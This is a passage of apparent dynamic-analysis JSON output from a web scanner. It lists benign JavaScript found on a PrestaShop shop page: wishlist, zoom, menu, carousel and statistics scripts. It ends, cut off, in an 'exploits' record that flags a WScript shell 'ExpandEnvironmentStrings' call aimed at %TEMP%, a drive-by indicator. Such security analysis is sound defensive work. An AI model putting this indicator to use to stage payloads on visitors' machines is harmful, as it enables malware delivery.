    '\t\t\t\t\t\t}\t\t\t\t\t], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t\telse\t\t\t\t\talert(data);\t\t\t}\t\t\telse\t\t\t\tWishlistVisibility(id, 'hideSendWishlist');\t\t}\t);}function wishlistProductsIdsAdd(id){\tif ($.inArray(parseInt(id),wishlistProductsIds) == -1)\t\twishlistProductsIds.push(parseInt(id))}function wishlistProductsIdsRemove(id){\twishlistProductsIds.splice($.inArray(parseInt(id),wishlistProductsIds), 1)}function wishlistRefreshStatus(){\t$('.addToWishlist').each(function(){\t\tif ($.inArray(parseInt($(this).prop('rel')),wishlistProductsIds)!= -1)\t\t\t$(this).addClass('checked');\t\telse\t\t\t$(this).removeClass('checked');\t});}function wishlistProductChange(id_product, id_product_attribute, id_old_wishlist, id_new_wishlist){\tif (typeof mywishlist_url == 'undefined')\t\treturn (false);\tvar quantity = $('#quantity_' + id_product + '_' + id_product_attribute).val();\t$.ajax({\t\ttype: 'GET',\t\turl: mywishlist_url,\t\theaders: { \"cache-control\": \"no-cache\" },\t\tasync: true,\t\tcache: false,\t\tdataType: \"json\",\t\tdata: {\t\t\tid_product:id_product,\t\t\tid_product_attribute:id_product_attribute,\t\t\tquantity: quantity,\t\t\tpriority: $('#priority_' + id_product + '_' + id_product_attribute).val(),\t\t\tid_old_wishlist:id_old_wishlist,\t\t\tid_new_wishlist:id_new_wishlist,\t\t\tmyajax: 1,\t\t\taction: 'productchangewishlist'\t\t},\t\tsuccess: function (data)\t\t{\t\t\tif (data.success == true) {\t\t\t\t$('#wlp_' + id_product + '_' + id_product_attribute).fadeOut('slow');\t\t\t\t$('#wishlist_' + id_old_wishlist + ' td:nth-child(2)').text($('#wishlist_' + id_old_wishlist + ' td:nth-child(2)').text() - quantity);\t\t\t\t$('#wishlist_' + id_new_wishlist + ' td:nth-child(2)').text(+$('#wishlist_' + id_new_wishlist + ' td:nth-child(2)').text() + +quantity);\t\t\t}\t\t\telse\t\t\t{\t\t\t\tif (!!$.prototype.fancybox)\t\t\t\t\t$.fancybox.open([\t\t\t\t\t\t{\t\t\t\t\t\t\ttype: 'inline',\t\t\t\t\t\t\tautoScale: true,\t\t\t\t\t\t\tminHeight: 30,\t\t\t\t\t\t\tcontent: '

    ' + data.error + '

    '\t\t\t\t\t\t}\t\t\t\t\t], {\t\t\t\t\t\tpadding: 0\t\t\t\t\t});\t\t\t}\t\t}\t});}", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/* \r* Zoom 1.3 - jQuery image zooming plugin\r* @author Jack Moore - jacklmoore.com\r* @copyright 2012 \r* @license www.opensource.org/licenses/mit-license.php\r*/\r\r(function($){var defaults={url:false,icon:true,grab:false,callback:false,duration:120};$.fn.zoom=function(options){return this.each(function(){var root=this,$root=$(root),img=new Image(),$img=$(img),$icon,position=$root.css(\"position\"),settings=$.extend({},defaults,options||{}),mousemove=\"mousemove\";$root.css({position:/(absolute|fixed)/.test(position)?position:\"relative\",overflow:\"hidden\"});if(!settings.url){settings.url=$root.find(\"img:first\")[0].src;if(!settings.url){return}}if(settings.icon){$icon=$('
    ').appendTo($root)}img.onload=function(){var outerWidth,outerHeight,xRatio,yRatio,left,top,offset=$root.offset();function ratio(){outerWidth=$root.outerWidth();outerHeight=$root.outerHeight();xRatio=(img.width-outerWidth)/outerWidth;yRatio=(img.height-outerHeight)/outerHeight}function move(e){left=(e.pageX-offset.left);top=(e.pageY-offset.top);if(left>outerWidth){left=outerWidth}else{if(left<0){left=0}}if(top>outerHeight){top=outerHeight}else{if(top<0){top=0}}img.style.left=(left*-xRatio)+\"px\";img.style.top=(top*-yRatio)+\"px\";e.preventDefault()}ratio();$img.addClass(\"zoomImg\").css({position:\"absolute\",top:0,left:0,opacity:0,width:img.width,height:img.height,border:\"none\",maxWidth:\"none\"}).appendTo($root);if(settings.grab){$img.mousedown(function(e){offset=$root.offset();$(document).one(\"mouseup\",function(){$img.stop().fadeTo(settings.duration,0);$(document).unbind(mousemove,move)});ratio();move(e);$img.stop().fadeTo($.support.opacity?settings.duration:0,1);$(document)[mousemove](move);e.preventDefault()})}else{$img.hover(function(){offset=$root.offset();ratio();$img.stop().fadeTo($.support.opacity?settings.duration:0,1)},function(){$img.stop().fadeTo(settings.duration,0)})[mousemove](function(e){img.style.left=(e.pageX-offset.left)*-xRatio+\"px\";img.style.top=(e.pageY-offset.top)*-yRatio+\"px\"})}if($.isFunction(settings.callback)){settings.callback.call(img)}};img.src=settings.url})};$.fn.zoom.defaults=defaults}(jQuery));", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA \r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r$(document).ready(function(){\r\rif ($('body').attr('id') === 'product' && $(\"#center_column #views_block #thumbs_list li a.shown img\").length ) { \r \r var wplink = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r \r \r // default\r $('#center_column #image-block img#bigpic')\r .wrap('')\r .css('display', 'block')\r .parent()\r .zoom({\r url: wplink, \r icon: true \r });\r \r // mouse over thumb image\r $('#center_column #thumbs_list ul li a img').mouseover(function() { \r var wpsrc = $(this).attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wpsrc);\r }); \r \r // color picker\r if ($(\"#center_column ul#color_to_pick_list\").length > 0) { \r $('#center_column ul#color_to_pick_list li a').click(function() {\r setTimeout(function(){ \r var wplinkpick = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wplinkpick);\r }, 100);\r \r \r });\r }\r\r // on attribute selectbox change\r $('#attributes select').change(function() { \r setTimeout(function(){ \r var wpselectpick = $(\"#center_column #views_block #thumbs_list li a.shown img\").attr(\"src\").replace('cart','thickbox');\r $('img.zoomImg').attr(\"src\", wpselectpick); \r }, 100);\r });\r \r \r }; \r});", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA \r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r\r$(window).resize(function() {\r var sizes = '1';\r var viewportWidth = $('#header .container').width(); \r if (viewportWidth > 1139) {\r wpitems = 4; \r } else if ((viewportWidth <= 1139) && (viewportWidth >= 716)) {\r wpitems = 4;\r } else if ((viewportWidth <= 715) && (viewportWidth >= 411)) {\r wpitems = 3;\r } else if ((viewportWidth <= 410) && (viewportWidth >= 271)) {\r wpitems= 1;\r } else if (viewportWidth <= 270) {\r wpitems= 1;\r }\r \r\r if ($('body').attr('id') === 'index') {\r $('#mycarousel2').carouFredSel({\r circular: false,\r infinite: false,\r auto: false,\r width: \"100%\",\r align: \"left\",\r prev : \".mycarousel2-prev\",\r next : \".mycarousel2-next\",\r responsive:true,\r easing: \"easeOutBounce\",\r items: {width: \"auto\",visible: {min:1, max:4}},\r swipe: true,\r scroll : {\r items : wpitems\r }\r });\r\r $(\"#mycarousel2\").touchwipe({\r preventDefaultEvents: false,\r wipeLeft: function() {\r $('#mycarousel2').trigger('next', wpitems);\r return false;\r },\r wipeRight: function() {\r $('#mycarousel2').trigger('prev', wpitems);\r return false;\r }\r });\r\r\r}; \r});\r\r$(document).ready(function(){\r $(window).trigger(\"resize\");\r});", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/*\r* 2007-2015 PrestaShop\r*\r* NOTICE OF LICENSE\r*\r* This source file is subject to the Academic Free License (AFL 3.0)\r* that is bundled with this package in the file LICENSE.txt.\r* It is also available through the world-wide-web at this URL:\r* http://opensource.org/licenses/afl-3.0.php\r* If you did not receive a copy of the license and are unable to\r* obtain it through the world-wide-web, please send an email\r* to license@prestashop.com so we can send you a copy immediately.\r*\r* DISCLAIMER\r*\r* Do not edit or add to this file if you wish to upgrade PrestaShop to newer\r* versions in the future. If you wish to customize PrestaShop for your\r* needs please refer to http://www.prestashop.com for more information.\r*\r* @author PrestaShop SA \r* @copyright 2007-2015 PrestaShop SA\r* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)\r* International Registered Trademark & Property of PrestaShop SA\r*/\r\r\r$(window).resize(function() {\r var sizes = '1';\r var viewportWidth = $('#header .container').width(); \r if (viewportWidth > 1139) {\r wpitems = 4; \r } else if ((viewportWidth <= 1139) && (viewportWidth >= 716)) {\r wpitems = 4;\r } else if ((viewportWidth <= 715) && (viewportWidth >= 411)) {\r wpitems = 3;\r } else if ((viewportWidth <= 410) && (viewportWidth >= 271)) {\r wpitems= 1;\r } else if (viewportWidth <= 270) {\r wpitems= 1;\r }\r \r\r if ($('body').attr('id') === 'index') {\r $('#mycarousel3').carouFredSel({\r circular: false,\r infinite: false,\r auto: false,\r width: \"100%\",\r align: \"left\",\r prev : \".mycarousel3-prev\",\r next : \".mycarousel3-next\",\r responsive:true,\r easing: \"easeOutBounce\",\r items: {width: \"auto\",visible: {min:1, max:4}},\r swipe: true,\r scroll : {\r items : wpitems\r }\r });\r\r $(\"#mycarousel3\").touchwipe({\r preventDefaultEvents: false,\r wipeLeft: function() {\r $('#mycarousel3').trigger('next', wpitems);\r return false;\r },\r wipeRight: function() {\r $('#mycarousel3').trigger('prev', wpitems);\r return false;\r }\r });\r\r\r}; \r});\r\r$(document).ready(function(){\r $(window).trigger(\"resize\");\r});", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** * hoverIntent is similar to jQuery's built-in \"hover\" method except that * instead of firing the handlerIn function immediately, hoverIntent checks * to see if the user's mouse has slowed down (beneath the sensitivity * threshold) before firing the event. The handlerOut function is only * called after a matching handlerIn. * * hoverIntent r7 // 2013.03.11 // jQuery 1.9.1+ * http://cherne.net/brian/resources/jquery.hoverIntent.html * * You may use hoverIntent under the terms of the MIT license. Basically that * means you are free to use hoverIntent as long as this header is left intact. * Copyright 2007, 2013 Brian Cherne * * // basic usage ... just like .hover() * .hoverIntent( handlerIn, handlerOut ) * .hoverIntent( handlerInOut ) * * // basic usage ... with event delegation! * .hoverIntent( handlerIn, handlerOut, selector ) * .hoverIntent( handlerInOut, selector ) * * // using a basic configuration object * .hoverIntent( config ) * * @param handlerIn function OR configuration object * @param handlerOut function OR selector for delegation OR undefined * @param selector selector OR undefined * @author Brian Cherne **/(function($) { $.fn.hoverIntent = function(handlerIn,handlerOut,selector) { // default configuration values var cfg = { interval: 100, sensitivity: 7, timeout: 0 }; if ( typeof handlerIn === \"object\" ) { cfg = $.extend(cfg, handlerIn ); } else if ($.isFunction(handlerOut)) { cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } ); } else { cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } ); } // instantiate variables // cX, cY = current X and Y position of mouse, updated by mousemove event // pX, pY = previous X and Y position of mouse, set by mouseover and polling interval var cX, cY, pX, pY; // A private function for getting mouse position var track = function(ev) { cX = ev.pageX; cY = ev.pageY; }; // A private function for comparing current and previous mouse position var compare = function(ev,ob) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); // compare mouse positions to see if they've crossed the threshold if ( ( Math.abs(pX-cX) + Math.abs(pY-cY) ) < cfg.sensitivity ) { $(ob).off(\"mousemove.hoverIntent\",track); // set hoverIntent state to true (so mouseOut can be called) ob.hoverIntent_s = 1; return cfg.over.apply(ob,[ev]); } else { // set previous coordinates for next time pX = cX; pY = cY; // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs) ob.hoverIntent_t = setTimeout( function(){compare(ev, ob);} , cfg.interval ); } }; // A private function for delaying the mouseOut function var delay = function(ev,ob) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); ob.hoverIntent_s = 0; return cfg.out.apply(ob,[ev]); }; // A private function for handling mouse 'hovering' var handleHover = function(e) { // copy objects to be passed into t (required for event object to be passed in IE) var ev = jQuery.extend({},e); var ob = this; // cancel hoverIntent timer if it exists if (ob.hoverIntent_t) { ob.hoverIntent_t = clearTimeout(ob.hoverIntent_t); } // if e.type == \"mouseenter\" if (e.type == \"mouseenter\") { // set \"previous\" X and Y position based on initial entry point pX = ev.pageX; pY = ev.pageY; // update \"current\" X and Y position based on mousemove $(ob).on(\"mousemove.hoverIntent\",track); // start polling interval (self-calling timeout) to compare mouse coordinates over time if (ob.hoverIntent_s != 1) { ob.hoverIntent_t = setTimeout( function(){compare(ev,ob);} , cfg.interval );} // else e.type == \"mouseleave\" } else { // unbind expensive mousemove event $(ob).off(\"mousemove.hoverIntent\",track); // if hoverIntent state is true, then call the mouseOut function after the specified delay if (ob.hoverIntent_s == 1) { ob.hoverIntent_t = setTimeout( function(){delay(ev,ob);} , cfg.timeout );} } }; // listen for mouseenter and mouseleave return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector); };})(jQuery);", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/* * jQuery Superfish Menu Plugin - v1.7.4 * Copyright (c) 2013 Joel Birch * * Dual licensed under the MIT and GPL licenses: *\thttp://www.opensource.org/licenses/mit-license.php *\thttp://www.gnu.org/licenses/gpl.html */(function ($) {\t\"use strict\";\tvar methods = (function () {\t\t// private properties and methods go here\t\tvar c = {\t\t\t\tbcClass: 'sf-breadcrumb',\t\t\t\tmenuClass: 'sf-js-enabled',\t\t\t\tanchorClass: 'sf-with-ul',\t\t\t\tmenuArrowClass: 'sf-arrows'\t\t\t},\t\t\tios = (function () {\t\t\t\tvar ios = /iPhone|iPad|iPod/i.test(navigator.userAgent);\t\t\t\tif (ios) {\t\t\t\t\t// iOS clicks only bubble as far as body children\t\t\t\t\t$(window).load(function () {\t\t\t\t\t\t$('body').children().on('click', $.noop);\t\t\t\t\t});\t\t\t\t}\t\t\t\treturn ios;\t\t\t})(),\t\t\twp7 = (function () {\t\t\t\tvar style = document.documentElement.style;\t\t\t\treturn ('behavior' in style && 'fill' in style && /iemobile/i.test(navigator.userAgent));\t\t\t})(),\t\t\ttoggleMenuClasses = function ($menu, o) {\t\t\t\tvar classes = c.menuClass;\t\t\t\tif (o.cssArrows) {\t\t\t\t\tclasses += ' ' + c.menuArrowClass;\t\t\t\t}\t\t\t\t$menu.toggleClass(classes);\t\t\t},\t\t\tsetPathToCurrent = function ($menu, o) {\t\t\t\treturn $menu.find('li.' + o.pathClass).slice(0, o.pathLevels)\t\t\t\t\t.addClass(o.hoverClass + ' ' + c.bcClass)\t\t\t\t\t\t.filter(function () {\t\t\t\t\t\t\treturn ($(this).children(o.popUpSelector).hide().show().length);\t\t\t\t\t\t}).removeClass(o.pathClass);\t\t\t},\t\t\ttoggleAnchorClass = function ($li) {\t\t\t\t$li.children('a').toggleClass(c.anchorClass);\t\t\t},\t\t\ttoggleTouchAction = function ($menu) {\t\t\t\tvar touchAction = $menu.css('ms-touch-action');\t\t\t\ttouchAction = (touchAction === 'pan-y') ? 'auto' : 'pan-y';\t\t\t\t$menu.css('ms-touch-action', touchAction);\t\t\t},\t\t\tapplyHandlers = function ($menu, o) {\t\t\t\tvar targets = 'li:has(' + o.popUpSelector + ')';\t\t\t\tif ($.fn.hoverIntent && !o.disableHI) {\t\t\t\t\t$menu.hoverIntent(over, out, targets);\t\t\t\t}\t\t\t\telse {\t\t\t\t\t$menu\t\t\t\t\t\t.on('mouseenter.superfish', targets, over)\t\t\t\t\t\t.on('mouseleave.superfish', targets, out);\t\t\t\t}\t\t\t\tvar touchevent = 'MSPointerDown.superfish';\t\t\t\tif (!ios) {\t\t\t\t\ttouchevent += ' touchend.superfish';\t\t\t\t}\t\t\t\tif (wp7) {\t\t\t\t\ttouchevent += ' mousedown.superfish';\t\t\t\t}\t\t\t\t$menu\t\t\t\t\t.on('focusin.superfish', 'li', over)\t\t\t\t\t.on('focusout.superfish', 'li', out)\t\t\t\t\t.on(touchevent, 'a', o, touchHandler);\t\t\t},\t\t\ttouchHandler = function (e) {\t\t\t\tvar $this = $(this),\t\t\t\t\t$ul = $this.siblings(e.data.popUpSelector);\t\t\t\tif ($ul.length > 0 && $ul.is(':hidden')) {\t\t\t\t\t$this.one('click.superfish', false);\t\t\t\t\tif (e.type === 'MSPointerDown') {\t\t\t\t\t\t$this.trigger('focus');\t\t\t\t\t} else {\t\t\t\t\t\t$.proxy(over, $this.parent('li'))();\t\t\t\t\t}\t\t\t\t}\t\t\t},\t\t\tover = function () {\t\t\t\tvar $this = $(this),\t\t\t\t\to = getOptions($this);\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t$this.siblings().superfish('hide').end().superfish('show');\t\t\t},\t\t\tout = function () {\t\t\t\tvar $this = $(this),\t\t\t\t\to = getOptions($this);\t\t\t\tif (ios) {\t\t\t\t\t$.proxy(close, $this, o)();\t\t\t\t}\t\t\t\telse {\t\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t\to.sfTimer = setTimeout($.proxy(close, $this, o), o.delay);\t\t\t\t}\t\t\t},\t\t\tclose = function (o) {\t\t\t\to.retainPath = ($.inArray(this[0], o.$path) > -1);\t\t\t\tthis.superfish('hide');\t\t\t\tif (!this.parents('.' + o.hoverClass).length) {\t\t\t\t\to.onIdle.call(getMenu(this));\t\t\t\t\tif (o.$path.length) {\t\t\t\t\t\t$.proxy(over, o.$path)();\t\t\t\t\t}\t\t\t\t}\t\t\t},\t\t\tgetMenu = function ($el) {\t\t\t\treturn $el.closest('.' + c.menuClass);\t\t\t},\t\t\tgetOptions = function ($el) {\t\t\t\treturn getMenu($el).data('sf-options');\t\t\t};\t\treturn {\t\t\t// public methods\t\t\thide: function (instant) {\t\t\t\tif (this.length) {\t\t\t\t\tvar $this = this,\t\t\t\t\t\to = getOptions($this);\t\t\t\t\tif (!o) {\t\t\t\t\t\treturn this;\t\t\t\t\t}\t\t\t\t\tvar not = (o.retainPath === true) ? o.$path : '',\t\t\t\t\t\t$ul = $this.find('li.' + o.hoverClass).add(this).not(not).removeClass(o.hoverClass).children(o.popUpSelector),\t\t\t\t\t\tspeed = o.speedOut;\t\t\t\t\tif (instant) {\t\t\t\t\t\t$ul.show();\t\t\t\t\t\tspeed = 0;\t\t\t\t\t}\t\t\t\t\to.retainPath = false;\t\t\t\t\to.onBeforeHide.call($ul);\t\t\t\t\t$ul.stop(true, true).animate(o.animationOut, speed, function () {\t\t\t\t\t\tvar $this = $(this);\t\t\t\t\t\to.onHide.call($this);\t\t\t\t\t});\t\t\t\t}\t\t\t\treturn this;\t\t\t},\t\t\tshow: function () {\t\t\t\tvar o = getOptions(this);\t\t\t\tif (!o) {\t\t\t\t\treturn this;\t\t\t\t}\t\t\t\tvar $this = this.addClass(o.hoverClass),\t\t\t\t\t$ul = $this.children(o.popUpSelector);\t\t\t\to.onBeforeShow.call($ul);\t\t\t\t$ul.stop(true, true).animate(o.animation, o.speed, function () {\t\t\t\t\to.onShow.call($ul);\t\t\t\t});\t\t\t\treturn this;\t\t\t},\t\t\tdestroy: function () {\t\t\t\treturn this.each(function () {\t\t\t\t\tvar $this = $(this),\t\t\t\t\t\to = $this.data('sf-options'),\t\t\t\t\t\t$hasPopUp;\t\t\t\t\tif (!o) {\t\t\t\t\t\treturn false;\t\t\t\t\t}\t\t\t\t\t$hasPopUp = $this.find(o.popUpSelector).parent('li');\t\t\t\t\tclearTimeout(o.sfTimer);\t\t\t\t\ttoggleMenuClasses($this, o);\t\t\t\t\ttoggleAnchorClass($hasPopUp);\t\t\t\t\ttoggleTouchAction($this);\t\t\t\t\t// remove event handlers\t\t\t\t\t$this.off('.superfish').off('.hoverIntent');\t\t\t\t\t// clear animation's inline display style\t\t\t\t\t$hasPopUp.children(o.popUpSelector).attr('style', function (i, style) {\t\t\t\t\t\treturn style.replace(/display[^;]+;?/g, '');\t\t\t\t\t});\t\t\t\t\t// reset 'current' path classes\t\t\t\t\to.$path.removeClass(o.hoverClass + ' ' + c.bcClass).addClass(o.pathClass);\t\t\t\t\t$this.find('.' + o.hoverClass).removeClass(o.hoverClass);\t\t\t\t\to.onDestroy.call($this);\t\t\t\t\t$this.removeData('sf-options');\t\t\t\t});\t\t\t},\t\t\tinit: function (op) {\t\t\t\treturn this.each(function () {\t\t\t\t\tvar $this = $(this);\t\t\t\t\tif ($this.data('sf-options')) {\t\t\t\t\t\treturn false;\t\t\t\t\t}\t\t\t\t\tvar o = $.extend({}, $.fn.superfish.defaults, op),\t\t\t\t\t\t$hasPopUp = $this.find(o.popUpSelector).parent('li');\t\t\t\t\to.$path = setPathToCurrent($this, o);\t\t\t\t\t$this.data('sf-options', o);\t\t\t\t\ttoggleMenuClasses($this, o);\t\t\t\t\ttoggleAnchorClass($hasPopUp);\t\t\t\t\ttoggleTouchAction($this);\t\t\t\t\tapplyHandlers($this, o);\t\t\t\t\t$hasPopUp.not('.' + c.bcClass).superfish('hide', true);\t\t\t\t\to.onInit.call(this);\t\t\t\t});\t\t\t}\t\t};\t})();\t$.fn.superfish = function (method, args) {\t\tif (methods[method]) {\t\t\treturn methods[method].apply(this, Array.prototype.slice.call(arguments, 1));\t\t}\t\telse if (typeof method === 'object' || ! method) {\t\t\treturn methods.init.apply(this, arguments);\t\t}\t\telse {\t\t\treturn $.error('Method ' + method + ' does not exist on jQuery.fn.superfish');\t\t}\t};\t$.fn.superfish.defaults = {\t\tpopUpSelector: 'ul,.sf-mega', // within menu context\t\thoverClass: 'sfHover',\t\tpathClass: 'overrideThisToUse',\t\tpathLevels: 1,\t\tdelay: 0,\t\tanimation: {opacity: 'show'},\t\tanimationOut: {opacity: 'hide'},\t\tspeed: 'normal',\t\tspeedOut: 'fast',\t\tcssArrows: true,\t\tdisableHI: true,\t\tonInit: $.noop,\t\tonBeforeShow: $.noop,\t\tonShow: $.noop,\t\tonBeforeHide: $.noop,\t\tonHide: $.noop,\t\tonIdle: $.noop,\t\tonDestroy: $.noop\t};\t// soon to be deprecated\t$.fn.extend({\t\thideSuperfishUl: methods.hide,\t\tshowSuperfishUl: methods.show\t});})(jQuery);", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "/** 2007-2015 PrestaShop** NOTICE OF LICENSE** This source file is subject to the Academic Free License (AFL 3.0)* that is bundled with this package in the file LICENSE.txt.* It is also available through the world-wide-web at this URL:* http://opensource.org/licenses/afl-3.0.php* If you did not receive a copy of the license and are unable to* obtain it through the world-wide-web, please send an email* to license@prestashop.com so we can send you a copy immediately.** DISCLAIMER** Do not edit or add to this file if you wish to upgrade PrestaShop to newer* versions in the future. If you wish to customize PrestaShop for your* needs please refer to http://www.prestashop.com for more information.** @author PrestaShop SA * @copyright 2007-2015 PrestaShop SA* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0)* International Registered Trademark & Property of PrestaShop SA*/var responsiveflagMenu = false;var categoryMenu = $('ul.sf-menu');var mCategoryGrover = $('.sf-contener .cat-title');$(document).ready(function(){\tcategoryMenu = $('ul.sf-menu');\tmCategoryGrover = $('.sf-contener .cat-title');\tresponsiveMenu();\t$(window).resize(responsiveMenu);});// check resolutionfunction responsiveMenu(){ if ($(document).width() <= 767 && responsiveflagMenu == false)\t{\t\tmenuChange('enable');\t\tresponsiveflagMenu = true;\t}\telse if ($(document).width() >= 768)\t{\t\tmenuChange('disable');\t\tresponsiveflagMenu = false;\t}}// init Super Fish Menu for 767px+ resolutionfunction desktopInit(){\tmCategoryGrover.off();\tmCategoryGrover.removeClass('active');\t$('.sf-menu > li > ul').removeClass('menu-mobile').parent().find('.menu-mobile-grover').remove();\t$('.sf-menu').removeAttr('style');\tcategoryMenu.superfish('init');\t//add class for width define\t$('.sf-menu > li > ul').addClass('submenu-container clearfix');\t // loop through each sublist under each top list item $('.sf-menu > li > ul').each(function(){ i = 0; //add classes for clearing $(this).each(function(){ if ($(this).attr('class') != \"category-thumbnail\"){ i++; if(i % 2 == 1) $(this).addClass('first-in-line-xs'); else if (i % 5 == 1) $(this).addClass('first-in-line-lg'); } }); });}function mobileInit(){\tcategoryMenu.superfish('destroy');\t$('.sf-menu').removeAttr('style');\tmCategoryGrover.on('click', function(e){\t\t$(this).toggleClass('active').parent().find('ul.menu-content').stop().slideToggle('medium');\t\treturn false;\t});\t$('.sf-menu > li > ul').addClass('menu-mobile clearfix').parent().prepend('');\t$(\".sf-menu .menu-mobile-grover\").on('click', function(e){\t\tvar catSubUl = $(this).next().next('.menu-mobile');\t\tif (catSubUl.is(':hidden'))\t\t{\t\t\tcatSubUl.slideDown();\t\t\t$(this).addClass('active');\t\t}\t\telse\t\t{\t\t\tcatSubUl.slideUp();\t\t\t$(this).removeClass('active');\t\t}\t\treturn false;\t});\t$('#block_top_menu > ul:first > li > a').on('click', function(e){\t\tvar parentOffset = $(this).prev().offset();\t \tvar relX = parentOffset.left - e.pageX;\t\tif ($(this).parent('li').find('ul').length && relX >= 0 && relX <= 20)\t\t{\t\t\te.preventDefault();\t\t\tvar mobCatSubUl = $(this).next('.menu-mobile');\t\t\tvar mobMenuGrover = $(this).prev();\t\t\tif (mobCatSubUl.is(':hidden'))\t\t\t{\t\t\t\tmobCatSubUl.slideDown();\t\t\t\tmobMenuGrover.addClass('active');\t\t\t}\t\t\telse\t\t\t{\t\t\t\tmobCatSubUl.slideUp();\t\t\t\tmobMenuGrover.removeClass('active');\t\t\t}\t\t}\t});}// change the menu display at different resolutionsfunction menuChange(status){\tstatus == 'enable' ? mobileInit(): desktopInit();}", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "function sliderInit() {\t$(\"#wp_man_wrapper\").carouFredSel({\t\tdebug\t: true,\t\tcircular: false,\t infinite: false,\t align : \"center\",\t\tresponsive: true,\t\twidth: '100%',\t auto\t: { \t\tplay\t: false,\t \ttimeoutDuration : 5000\t },\t items\t: {\t\t\tvisible: {\t\t\t\t\tmin: 1,\t\t\t\t\tmax: 8\t\t\t\t\t },\t\t\tstart\t: 0,\t\t\twidth : \"98\",\t\t\theight : \"98\"\t\t\t\t\t},\t\t\t\tscroll\t: {\t\t\titems\t: 8,\t\t\tfx\t : \"none\",\t\t\tduration: 500,\t\t\tpauseOnHover: true\t\t},\t\tprev\t: {\t\t\tbutton\t: \"#wp_man_prev\",\t\t\tkey\t\t: \"left\"\t\t},\t\tnext\t: {\t\t\tbutton\t: \"#wp_man_next\",\t\t\tkey\t\t: \"right\"\t\t}, \t\tswipe: {\t\t\t\t\tonMouse: true,\t\t\t\t\tonTouch: true\t\t\t }\t}, \t{ wrapper : { \t element : \"div\", \t classname : \"wp_caroufredsel_wrapper\" \t },\t classnames\t\t: {\t\t selected\t\t: \"selected\",\t\t hidden\t\t\t: \"hidden\",\t\t disabled\t\t: \"disabled\",\t\t paused\t\t\t: \"paused\",\t\t stopped\t\t\t: \"stopped\"\t } });};$(function(){ $('#wp_man').addClass('loader'); // display loader $(window).load(function() { $('#wp_man').removeClass('loader'); $('#wp_man_wrapper').show(200); sliderInit(); $(\"#wp_man_wrapper\").touchwipe({ wipeLeft: function() { $('#wp_man_wrapper').trigger('next', 8); }, wipeRight: function() { $('#wp_man_wrapper').trigger('prev', 8); } }); }); });", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" }, { "snippet": "var time_start;\t\t\t\t$(window).load(\t\t\t\t\tfunction() {\t\t\t\t\t\ttime_start = new Date();\t\t\t\t\t}\t\t\t\t);\t\t\t\t$(window).unload(\t\t\t\t\tfunction() {\t\t\t\t\t\tvar time_end = new Date();\t\t\t\t\t\tvar pagetime = new Object;\t\t\t\t\t\tpagetime.type = \"pagetime\";\t\t\t\t\t\tpagetime.id_connections = \"1085735\";\t\t\t\t\t\tpagetime.id_page = \"12\";\t\t\t\t\t\tpagetime.time_start = \"2016-12-15 21:01:24\";\t\t\t\t\t\tpagetime.token = \"ec831d5fe8785505ac897f1b978a2b80cce75cb9\";\t\t\t\t\t\tpagetime.time = time_end-time_start;\t\t\t\t\t\t$.post(\"http://decorvise.com/index.php?controller=statistics\", pagetime);\t\t\t\t\t}\t\t\t\t);", "relationship": "Contained_Inside", "method": "Dynamic Analysis", "language": "Javascript" } ], "exploits": [ { "url": "about:blank", "cve": null, "data": { "wshshell": "%TEMP%/" }, "description": "ExpandEnvironmentStrings", "module": 